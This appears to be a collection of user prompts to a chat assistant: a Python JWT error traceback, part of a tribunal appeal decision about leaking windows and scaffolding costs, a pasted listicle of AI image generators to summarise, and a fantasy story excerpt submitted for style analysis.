jwks\\_client.get\\_jwk\\_set()\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/jwks\\_client.py", line 62, in get\\_jwk\\_set\n return PyJWKSet.from\\_dict(data)\n ^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/api\\_jwk.py", line 102, in from\\_dict\n return PyJWKSet(keys)\n ^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/api\\_jwk.py", line 97, in \\_\\_init\\_\\_\n raise PyJWKSetError("The JWK Set did not contain any usable keys")\njwt.exceptions.PyJWKSetError: The JWK Set did not contain any usable keys' -'This is part 8 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 6 – failure to install small joint sealer\n\nThe appellant submitted that, in making a finding that the windows installed by the appellant were defective by reason of the appellant’s failure to utilise small joint sealer in the remanufacture of the windows, the Tribunal had relied upon evidence from Mr Brennan’s first report that he could not detect any gaskets or small joint sealer.\n\nThe appellant submitted that the Tribunal had failed to take into account concessions later made by Mr Brennan in his report in reply and in his oral evidence, that he had been wrong in his first report.\n\nThe appellant submitted that Mr Sim had identified small joint sealant in the junction of the joinery pieces in the windows which had been removed and left disassembled on site. The appellant submitted that in his report in reply, Mr Brennan, at 4.4, had conceded there was evidence of sealant “in some joints” but that “some joints were not sealed well enough”.\n\nThe appellant submitted that, in cross-examination, Mr Brennan had agreed that he had assumed in his first report that no small joint sealant had been used and that there was evidence of small joint sealant in some photos included in Mr Sim’s report. The appellant further submitted that Mr Brennan had “conceded that he did not know whether or not the small joint sealant had been applied correctly by BW in the process of manufacture”.\n\nThe respondents submitted that Mr Brennan had not conceded that the small joint sealant had been applied appropriately. The respondents referred to evidence given by Mr Brennan during the hearing that:\n\nAt some point there may have been small joint sealant in there and that was obvious later on when I had seen the other experts’ reports. However, it doesn’t mean it was applied correctly and evenly to every joint.\n\nThe respondents submitted that the appellant’s submissions overlooked the proposition that the windows leaked through the window frames. The respondents submitted that “the absence or presence of gaskets or small joint sealer contributed to the leaks in the windows but were not the substantial cause of the problem”.\n\nIn reply, the appellant noted that the respondents had conceded that the absence or presence of small joint sealer was not the substantial cause of the problem and submitted that “the absence of flashing was the substantial cause of the problem”. The appellant submitted that Mr Brennan had conceded in cross-examination that he did not know whether or not there were any shortcomings in the use of small joint sealant in the manufacturing process.\n\nConsideration – Ground 6\n\nIt is clear in our view that the appellant’s challenge to the Tribunal’s finding that the windows leaked by reason of the absence of small joint sealant does not raise any question of law. The appellant’s challenge is rather on the basis that the finding was against the weight of evidence or was not fair and equitable.\n\nThe finding of the Tribunal that the windows leaked by reason of the absence of small joint sealant was a finding of fact supported by the evidence of Mr Brennan. Contrary to appellant’s submissions, Mr Brennan did not at any time concede that the small joint sealant had been correctly applied within the windows. His only concession was that there was apparently some sealant within the windows but he could not say whether it had been correctly applied.\n\nWe are not persuaded that the finding of the Tribunal was against the weight of evidence or not fair and equitable. There was evidence that the windows were leaking and Mr Brennan gave evidence in his initial report that one reason for the leaking windows was the absence of gaskets or small joint sealant. Although he acknowledged in his reply report and in oral evidence that there was some sealant apparent within the windows, he did not resile from his evidence that one reason for the windows leaking was the absence of small joint sealant.\n\nMoreover, in circumstances where Mr Brennan’s evidence had clearly raised the issue whether gaskets or small joint sealant had been applied in the manufacture of the windows, the Tribunal was entitled to draw a Jones v Dunkel inference from the unexplained absence of evidence from any person who had been involved in the manufacture of the windows, that the evidence of any such person would not be of assistance to the appellant. By reason of that inference, the Tribunal could more readily accept the evidence of Mr Brennan that small joint sealant had not been properly installed.\n\nAccordingly, ground 6 must be rejected and leave to appeal on that ground must be refused.\n\nGround 7 – the cost of scaffolding\n\nThe appellant submitted that, in awarding $9,240 in respect of scaffolding, the Tribunal had failed to recognise that the respondents’ claim in respect of scaffolding had been reduced to $3,960 at the outset of the hearing.\n\nThe appellant submitted that Mr Sibilia in his evidence had initially relied upon a different document, which was an invoice dated 20 September 2019 in the amount of $9,240 for “scaffolding services rendered at the above site address”. The applicant submitted that that invoice clearly included charges for the hire of scaffolding for a period prior to the execution of the Deed.\n\nThe appellant submitted that the Deed released the appellant from liability in respect of the hire of scaffolding up to the date of the Deed.\n\nThe respondents submitted that the invoice for scaffolding in the sum of $9,240 was the cost incurred by the respondents in relation to the provision of scaffolding in the period after the execution of the Deed. The respondents also submitted:\n\n“In an effort to try and resolve the matter prior to the initial hearing, the respondents requested from the scaffolding company a quote for the two weeks that the scaffolding was in place to enable the appellant’s replacement defective windows to be removed and new Wideline windows installed with make good, noting that the removal of scaffolding and reinstallation of the Wideline windows would have been a far more expensive exercise than having the scaffolding there the whole time. This was confirmed by Mr Sibilia in evidence in his cross examination [T1556-1558]. This quote came in at $3,960 (inc GST).”\n\nThe respondents submitted that the Tribunal had awarded the sum of $9,240 “as per the invoice for scaffolding as the appellant had provided no independent evidence or market quote to the contrary”.\n\nIn the lines of the transcript of Mr Sibilia’s evidence referred to by the respondents, Mr Sibilia stated in relation to the original claim of $9,240:\n\n“That’s what I paid because the scaffolding was there for the period of time that – we’ve adjusted that to be – for the minimum period to cover the time between completion of windows by the [inaudible] and that’s been sent through. So we’ve adjusted that down.”\n\nIn its reply submissions the appellant explained the issue more clearly as follows:\n\nThe respondents initially claimed $9,240 on the basis of invoice No 1742 dated 20 September 2019.\n\nShortly before the hearing, BW served its Tender Bundle which included another invoice No 1742 from the same scaffolding firm, this time dated 17 December 2018 in the sum of $4,420. BW could not have been liable for this amount, as it was before the Deed of Release. Further, the existence of two invoices with the same number made the later invoice unreliable as evidence.\n\nFaced with this, the respondents reduced their claim for scaffolding to $3,960 incl GST at the outset of the hearing. This was on the basis of a different document, a “Quotation” (rather than an invoice) dated 3 March 2020.\n\nAfter the hearing, the respondents in their final written submissions maintained the reduced claim for $3,960.\n\nIn relation to the quote for $3,960 the appellant submitted:\n\n“There is no evidence to support the scaffolding hire claim for $3,960, as the quote dated 3 March 2020 produced by the respondents in support of this claim was not explained in evidence. The document certainly does not speak for itself in terms of damages caused by breach of contract.\n\nConsideration – Ground 7\n\nThe Tribunal’s reasoning in relation to the award of the cost of the scaffolding was as follows, at [59]:\n\n“I accept the uncontested evidence of Mr Sibilia … that due to the location of the three replacement windows, scaffolding had to be hired between 31 January 2019, when the windows were found to be leaking, until 15 September 2019 when the rectification work had finished. I award $9,240 for the scaffolding cost as per the invoice at Y4. I note that the respondent has provided no independent evidence or market quote to the contrary.”\n\nAlthough Mr Sibilia had stated in his affidavit that “due to the location of the three replacement windows, scaffolding had to be hired between 31 January 2019, when the windows were found to be leaking, until 15 September 2019 when the rectification work had finished”, no explanation was provided why it was necessary to have scaffolding in place for seven and a half months when the windows installed by the appellant were removed and the replacement Wideline windows were installed in June. In his cross-examination Mr Sibilia acknowledged (in the passage set out above) that the amount of $9,240 which the respondents had paid was for a longer period than was necessary for the removal of the defective windows and installation of the Wideline windows. The respondents had limited their claim at the hearing to the $3,960 set out in the quote and it is apparent from the transcript that he was cross-examined on the basis that the respondents’ claim had been so limited.\n\nShortly after the answer set out above Mr Sibilia gave the following evidence:\n\n“We said that we would look at these from the point of view that look at your claims and work out – I mean we also have rent [inaudible] but we struck that out and we’ve also looked at scaffolding and reduced it to a period of time that covers when the replacement windows were put in.”\n\nThe cross-examination then moved to other topics.\n\nThe respondents sought to suggest that it would have been much more expensive to erect fresh scaffolding and take it down again. However, the quote obtained by the respondents dated 3 March 2020 - which was provided by the scaffolding contractor who had rendered the invoice dated 20 September 2019, and must therefore be taken to have been familiar with the requirements for the installation of the scaffolding – indicates that the cost would have been substantially less.\n\nThe narration to the quote is:\n\n“To supply, deliver, erect, dismantle and remove aluminium scaffolding 450kg (SWL) from the above site address\n\nTo scaffold rear of house adjacent to windows”\n\nIn our view there was no evidence before the Tribunal to support the conclusion that the invoice for $9,240 was in its entirety a cost incurred in relation to the replacement of the windows. Mr Sibilia’s statement in his affidavit did not go that far and his evidence in cross-examination was to the contrary. Moreover, the quotation of March 2020 clearly indicates that the amount of $9,240 was well in excess of the cost of providing scaffolding for the purpose of replacing the windows.\n\nAs we have noted above, the onus lay upon the respondents to prove their damages including providing evidence to establish the cost of the scaffolding necessary for the replacement of the windows.\n\nIn our view the award of $9,240 was either made without evidence or was against the weight of evidence and not fair and equitable. To award the respondents an amount they had explicitly not sought at the hearing would involve a substantial miscarriage of justice to the appellant in circumstances where it is apparent that the cross-examination of Mr Sibilia was predicated on the fact that the respondents only sought the amount of the quote and not the whole amount paid. It follows that the award of $9,240 in respect of the cost of scaffolding must be set aside. To the extent necessary we would grant leave to appeal against the award of $9,240 in respect of the cost of scaffolding.\n\nNevertheless, we do not consider that the respondents should receive nothing for the cost of scaffolding. Mr Dalgleish suggested at the hearing of the appeal that an allowance of $1,000 would be appropriate. However, we consider that there is evidence of the cost of providing scaffolding for the removal and replacement of the windows. We do not accept the appellant’s submission that the quotation of 3 March 2020 is not evidence of the cost of scaffolding for the replacement of the windows. That document was provided by the contractor who had provided scaffolding for the construction project and correctly identified the relevant site and the location of the windows which required replacement.\n\nWhether or not the document would meet the requirements for admissibility under the Evidence Act, the laws of evidence do not apply in the Tribunal. We consider that the quotation is sufficient evidence to establish that the appropriate compensation in respect of the cost of scaffolding for the replacement of the windows was $3,960 inclusive of GST.\n\nWe note in this context that the quote included the cost of erection and dismantling of the scaffolding, which were costs in respect of which the builder had invoiced the respondents in the third of the builder’s invoices. As we have not allowed the respondents any compensation in respect of the builder’s invoices, there is no risk of double counting in awarding the respondents the full value of the quotation.\n\nAccordingly, we will reduce the judgment sum by a further $5,280 (the difference between $9,240 and $3,960).\n\nWe note that the amount awarded by the Tribunal, $50,771.69, is $2,090 less than the sum of the three amounts which the respondents claimed. This discrepancy was not explained in the decision. It is not necessary to explore that matter further. The amount to which we consider the respondents were entitled was $14,020 in respect of the supply of the windows and $3,960 for scaffolding. The sum of those figures is $17,980, which is the amount to which we will vary the amount of the judgment.' -'Can you from this text give me a numbered list of 11 AI image generators and what are they best at: "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top"' -"Here is another example of my (Drongo's) writing, please analyze it and remember my style. Try to extract my personality from the writing and tell me who you think I am:\n\nThe roaring of the river slowed to a soft bubbling. He raised his arms from his hips slowly above his head. In obedience, the river followed his lead, slowly rising out of the ravine until it was level with the gap. The water seemed to be like a carefully crafted pane of glass. There was not a single ripple on its surface. Any sediment carried by the river had been left on the dry earth below it. However, fish could still be seen casually swimming in the pristine water. \nWithout hesitation, Nex stepped onto the water bridge. He walked with cool confidence more focused on the words he was to say rather than the sheer drop below him. However, his foot never sank below the surface, nor did it even get wet. After a minute of walking, he finally reached the other side. He paused, furling his brows, then turned around. Nex recalled his first time traversing the ravine taking him a week of work, but after countless times of repeating the test, it was a breeze for him. After using his hands to lower the water back to its rightful place, he commanded it to resume.\n Nex’s stomach lurched as the path began to become more defined, and at the end of it, a small cabin came into sight. His skin would always go pale every time he saw it. It was an austere wood cabin with two chimneys protruding from the sides of it. Two medium-sized windows were covered by lush purple curtains with golden embroidering. An extensive garden surrounded the cabin growing medicinal herbs, fruits, and vegetables. As Nex continued on, his heart raced through his chest, and his lungs began to protest. His once somewhat coherent mantra hastened into an unintelligible cacophony as he realized he could no longer stall. He paused in front of the door, trembling. There was no way he could move, let alone speak. His face sunk deeper into itself as his breathing quickened, but no matter how hard he called for air, it felt like none came to him. He willed himself into raising his shaking hand to knock. All it would take was one small knock, yet his clenched fist hovered over the door. Hesitation.\nHe took a step back. Then another. He began to turn around to return back to his home. As he turned around to leave, he found himself suddenly rushing through the air. It felt as if a wild beast had just decided his insides needed to be smeared across the walls of the cabin and smashed into him. He let out a sharp yelp and scrambled to see who or what just pushed him to no avail. \nSlowly, the wooden door slowly creaked open on its own. To his surprise, the inside of the small cabin was much bigger on the inside with doors that seemingly led to rooms that couldn’t exist. He had heard tales of buildings like these, but to see one in person with its rugs that sported moving, intricate patterns, each perfectly in sync with the next. Its walls were littered with apparatuses that all connected together. A large stack of books, manuscripts, and scrolls lay perfectly stacked in piles on the floor next to an ornate ebony desk. Nex’s eyes sparkled as they darted over everything before him.\nFinally, his eyes rested on a wizened person that was looking at him warmly from a dark majoan desk with countless shifting runes inscribed on it. “It took you long enough. ” Their voice was androgenous and kind. Nex stood dumbstruck. He looked back at the door that he apparently had just crashed through. His face contorted as a wave of realization washed over him. He was inside of Jayen Wen’s house. Jayen Wen spoke again, “You seem like you’ve been through quite a rough time. I do hope the tests weren’t too difficult.”\nNex, realizing he hadn’t said anything, finally started to blurt out his carefully rehearsed introduction, but it was, at best, unintelligible. Jayen motioned to a seat that began moving in front of the desk, “ Do try to calm yourself, yes?” Nex obediently scurried over to the seat and sat down. Jayen’s eyes inspected Nex.\n“You stated your name as Nex, yes? What of your surname then?”\nNex slowly lowered his gaze to the desk and slightly slumped into the chair, “ None.” \nJayen’s eyebrows raised, then furled, “Hmmm. A Kusin then? Alright, What of your father’s at least?”\nNex’s gaze and posture sank even further, “He is a kusin as well.”\nJayen taps their finger rhythmically on the arm of the chair, “I see.” Their eyes began probing Nex as he sat slumped, analyzing every inch of him. \n“Well this just won’t do,” Jayen said as they started making precise movements with their hands. Nex had studied magic all of his life. From alchemy, arcanology, and spirit magic, he had a detailed understanding of all of the gestures that could be used in each field, yet these gestures baffled him. They were unnatural and unlike anything he’s ever seen. There weren’t arcane symbols or runes, there weren’t chemical arrays or displays, yet when it was completed, he felt a warm, bubbling feeling wash over him emanating from within him. Nex could feel the torn muscle fibre within him being knit back together, and the skin around his wounds tighten as they are repaired and made taut. \n” I’ve never seen magic that heals like this before, “ he paused thoughtfully, “not without a cost.” \nJayen shook their head,” There’s always a cost, dear boy. Just a matter of the currency used. Now, what is the reason you’ve come to see me?” Nex’s face soured with those words, but he quickly glanced around at the different apparatuses and the horde of books, and his gaze became steely.\nNex cleared his throat, “Master Jayen Wen if it pleases you, would you take me as your apprentice?” \nJayen smiled warmly, “I’ve been watching you come to my door for the last two moons and turning away once you got here. Truth be told, I always teach anyone that could make it to my door,” Jayen eyed him curiously, “but you not only made it here once, but forty-six times. I simply couldn’t stand for it to be a forty-seventh, so I gave you a little push in the right direction.” Jayen’s smile turned mischievous with that last bit, and Nex’s face turned an embarrassing red as he both profusely apologized and thanked them. Then, a quizzical look sprouted on his face, “But, I’m a kusin. Lyfe, I’m a kusin of a kusin. I assumed someone of your worth wouldn’t want to train someone as low as I.”\nFor a second, a flicker of disgust flashed on Jayen’s face before their usual composed face took hold, “What of it? I am not so vain as to deprive a rose of water because it might blossom.” Jayen paused, rubbing their chin contemplatively, “However, there is one final test. For a kusin such as yourself. Arguably the hardest, mind you, but if you can pass this one. You will be worthy of being my apprentice.”\nNex perked up, “Anything.”\nJayen sighed, “Then, let us begin. Follow me.”\n The pair weaved through the massive library’s rows and columns until they reached a long corridor filled with doors adorned with various portraits. Each portrait seemed to be an intricate landscape of different locations. If he squinted, he could even see what could be tiny beings in the pictures bustling about their days. Most of the places he had seen in books, others he had visited while performing his studies, and few he hadn’t even imagined. However, Jayen paused on a door without a portrait. \n“This test will not be like any other so far. Your objective is to return here,” Jayen said. Jayen’s cheerful face had grown grim, “You’re sure you want to be my apprentice, kusin?” Nex nodded his head without hesitation. Jayen sighed again, then quickly opened the door and pushed Nex in. \nThen, survive.\n The frameless door stood solitary around a weave of shrubs and brush until it slowly faded into nothingness. Around him, a sea of vibrant amber stalks stretched out endlessly to the horizon. Individually, the stalks stood translucent, radiating a soft glow, but as a collective, the stalks melded together, forming rolling waves of gleaming radiance in the night atmosphere. As Nex looked into the sky, he saw it was a uniform black haze, not a single cloud floated in the sky, nor did a single star dot it, yet no matter where he looked, every surface was illuminated by some unknown source from up above. Nex quickly reached for his satchel and produced his journal. As he opened it, no sigils or words sprang forth. He opened the book to the runes he had written to animate the journal in dull black ink. Nex frowned. \nHe produced a pebble from his satchel. The measurestone was supposed to be multicolored and vibrant, but it, instead, was yellowish, gray. Nex frantically emptied his satchel and rifled through all of his journals, arcane stones, and magics. His breathing grew labored as he shouted and gestured manically attempting to produce any sort of magic, but his efforts were in vain. He quickly rose and attempted to draw runes in the air. However, where he expected bright streaks to follow his fingers, he saw nothing at all. After shaking his head, he perked up and picked up a black leatherbound journal dusted with stark white dots labeled Star Map. He fingered through page after page of atlases and astronomical maps. However, without stars in the sky to act as his guide nor landmarks in the uniform sea of light, his search proved fruitless. \nUnder the unchanging sky, time was just a construct. Nex had no idea how long he had walked. Hours could have been days for all he knew. At first, he looked out at the field and admired its beauty, taking the time to sketch it to the best of his ability. He had to stop after running out of paper in his empty journals. As time moved on, he tried seeing figures in the waves to entertain himself. Once, he was able to see mighty grochas riding the waves as he had seen once in Drago. The massive beasts easily glided over the stalks before sinking below the surface again, causing surging surfs of dimming lights in their wake. If he were, to be honest with himself, he might have embellished the mental image, but it was more fun than reality. As he looked out, he noticed a wave heading towards him. This wave was smaller than the rest that occasionally passed by. Usually, when they came, the preceding stalk would slightly dim then return to normal luminosity. However, the lightstalks in the wake of this wave did not shine. They laid dim and lifeless, leaving a dark scar in the field marking where this wave had traveled. After a closer look, Nex noticed the lightstalks before the wave would burst with a blinding light before being snuffed out by the….what was that.\n With the wall of light before the creature, Nex couldn’t quite see its features, but it was large and pale like freshly cleaned teeth. Despite its size, it moved swiftly. He noticed it wasn’t quite going toward him. It was heading in the direction he had come from. Nex squinted at it, but the bright light caused him to wince and rub his eyes. He tried drawing a sigil that would allow him to see it better then chided himself once it failed to work. It stopped. The wall of light subsided as it raised its head in Nex’s direction. His mouth went dry. The creature stood on four sturdy legs that were covered in a pale yellow fur that resembled the lightstalks surrounding it. Its head had large metallic horns protruding from it where its eyes should be, and its large mouth was a serrated tunnel of gyrating metal teeth. It stood on its hindlegs allowing Nex to see the plated scales on its belly. It sniffed the air. As it did, its entire body pulsated with light in rhythm with its nostrils flaring. Nex began to slowly back away, but his hand slightly brushed a stalk, which caused it to dim slightly. The creature’s fur bristled. Nex felt a weight in his belly, and his blood chilled as its head sharply turned towards him. It let out a ghastly howl before charging towards him. Nex cursed under his breath and began to sprint. \nAs he ran, lightstalks brushed against him, causing them to dim. Nex glanced over his shoulder to see the hulking frame of the beast encroaching on him. He pumped his legs as fast as they would take him and looked around for anywhere to hide. Despite his running, he noticed that he didn’t feel tired. He made a mental note of that while racking his brain on how to survive. It had to be a part of the test. Nex didn’t have to hear the pounding of the creature’s paws against the ground and the jagged vortex that was its mouth as it sucked the light out of the stalks near in front of it, but he looked anyway. It really didn’t have eyes. He saw as it maneuvered its horns side to side as if tracking him through scent. It let out another blaring roar that left Nex’s ears ringing. The sinking feeling in his stomach worsened. His heart pumped in his throat. He felt the suction of the animal start to tug at his body. As it did, he began to feel lethargic. He tried moving his arms and legs, but they refused to listen. The cacophony of the creature's mouth with its spinning metal teeth played his requiem. He felt as the energy started to burn as the air around him fiercely pulled at him, beckoning him to stop. Stars appeared in his vision. Nex knew if he didn’t do something, he would die. A meal for a creature he had never seen anywhere in any of the bestiaries he’s studied. Summoning the last ounce of his strength, Nex leaped to the side, dodging the creature. \nHe rolled then finally lay slumped, barely able to get himself to a kneeling position. It continued on its path before standing on its hindlegs slowly swiveling its head as it had done before. He watched as the animal turned its head leading with its horns as if trying to find his position. Nex carefully picked up a small stone. As he did, a sharp pain shot up his arm. He had to will himself not to cry out lest the beast find out where he is. Tears formed at the edges of his eyes as he steeled himself and chucked the stone. As it landed, a few lightstalks sparked then wilted as the stone hit them. The creature snapped its head in that direction and began chasing after the stone. Nex didn’t move a muscle until he saw the blackened path left by the creature go over a distant hill. Once the beast was gone, Nex doubled over and vomited. The pain he felt across his body subsided to a dull ache until it evaporated entirely. Nex looked in the direction the beast had gone and walked in the opposite direction.\n He had heard the wails of the beast several times in the course of him walking. Whenever he did, he would avoid any and all movement to avoid it seeing him. Being alert constantly had tired Nex’s mind, yet he didn’t feel the need to sleep. Even though he had sprinted for way too long, he never felt exhaustion as if he could run forever. He had also noticed that he hadn’t felt even a twinge of hunger or thirst the entire time he had been in this place. \nHe thought back to his mother’s cooking before she had left him.His favorite was always the sweet meat pie she would make on special occasions. He slowly fell back onto the ground, tucked his knees to his chin, buried his face in them, and began to cry. He cried until his eyes were raw from him wiping his tears. He beat his fist into the spongy earth until his knuckles were bloodied. He thought back to the Alpu, and how it had fought to the bitter end to survive. Slowly, he came to his feet, retrieved his yellow journal from his satchel, and began to take note of everything he has learned of the place he is in." -"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR 